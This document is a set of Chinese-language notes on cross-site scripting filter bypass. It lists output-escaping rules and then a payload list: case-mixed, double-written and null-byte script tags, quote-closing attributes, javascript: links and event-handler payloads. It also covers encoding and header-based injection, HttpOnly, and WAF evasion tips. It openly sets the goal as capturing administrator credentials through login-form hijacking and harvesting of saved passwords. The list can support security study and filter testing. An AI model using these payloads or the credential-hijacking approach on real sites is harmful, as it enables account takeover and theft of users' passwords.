XSS绕过

代码过滤

  • html标签转义规则如下:
    < 转成 &lt;
    > 转成 &gt;
    & 转成 &amp;
    " 转成 &quot;
    ’ 转成 &#39
  • javascrpt事件转义规则
    \ 转成 \\
    / 转成 \/
    ; 转成 ;(全角;)
  • URL属性
    如果 <script>, <style>, <imt> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符

自身标签绕过

<script>alert('xss')</script> //**没有过滤**
<Script>alert('xss')</Script> //**大小写绕过**
<scscriptript>alert('xss')</scscriptript> //**双写绕过**
<sc\x00ript>alert('xss')</sc\x00ript> //**空字节绕过**


' onclick='alert(1) //**闭合绕过(对于html实体输入的和过滤< >)**

其他标签绕过

<a herf="javascript:alert(1)">show</a> //链接标签

<IMG SRC=javascript:alert(‘XSS’)>   //图片xss

<body onload=alert(1)> //文档加载完成后
<input type=image src=x:x onerror=alert(1)> //图片等媒体加载失败后
<form oninput=alert(1)><input></form> //表单输入
<textarea autofocus onfocus=alert(1)> // 自动获得焦点的文本区域
<input oncut=alert(1)> //用户剪切元素内容时

总而言之就是html标签的DOM事件后面可以添加js脚本,从而可以插入xss

DOM事件

编码绕过

BASE64,Unicode编码,url编码,ascii码,hex,2,8,16进制

接收参数绕过

http头部 referer User-Agent 发送方式get post 等

httponly

如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击 ,只是无法获取Cookie信息,xss脚本还是会执行。
//JAVAEE
response.setHeader(“Set-Cookie”, “cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);
//这样js脚本是获取不到Cookie,而可以用request对象接收
Cookie cookies[]=request.getCookies();

原理是 Cookie都是通过document对象获取的,那HttpOnly就是在设置cookie时接受这样一个参数,在浏览器的document对象中就看不到cookie了。Cookie会被放在浏览器头中发送出去(包括Ajax的时候),对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用JS操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
我们实现xss的目的是为了获取用户的信息来登录管理员后台 ,而登录后台一般需要Cookie或者账号密码,在设置httponly后获取不了Cookie,我们从账号密码入手。

密码未保存时
在登录界面插入xss表单劫持,把账号密码获取到xss平台
密码保存时
在后台界面插入xss获取浏览器存储的用户账号密码数据

WAF拦截

手工绕过

  • 标签语法替换
    html的标签 <a href=>
  • 特殊符号干扰
    / # @
  • 提交方式更改
    不仅要看waf过滤的方式,还有服务器接收的方式。
  • 垃圾数据溢出
  • 加解密算法
    加密之后在发送,要看服务器能否识别该编码。
  • 结合其他漏洞绕过
    绕过姿势

自动化xss

xssStrike使用

fuzz

xssfuzzer 平台链接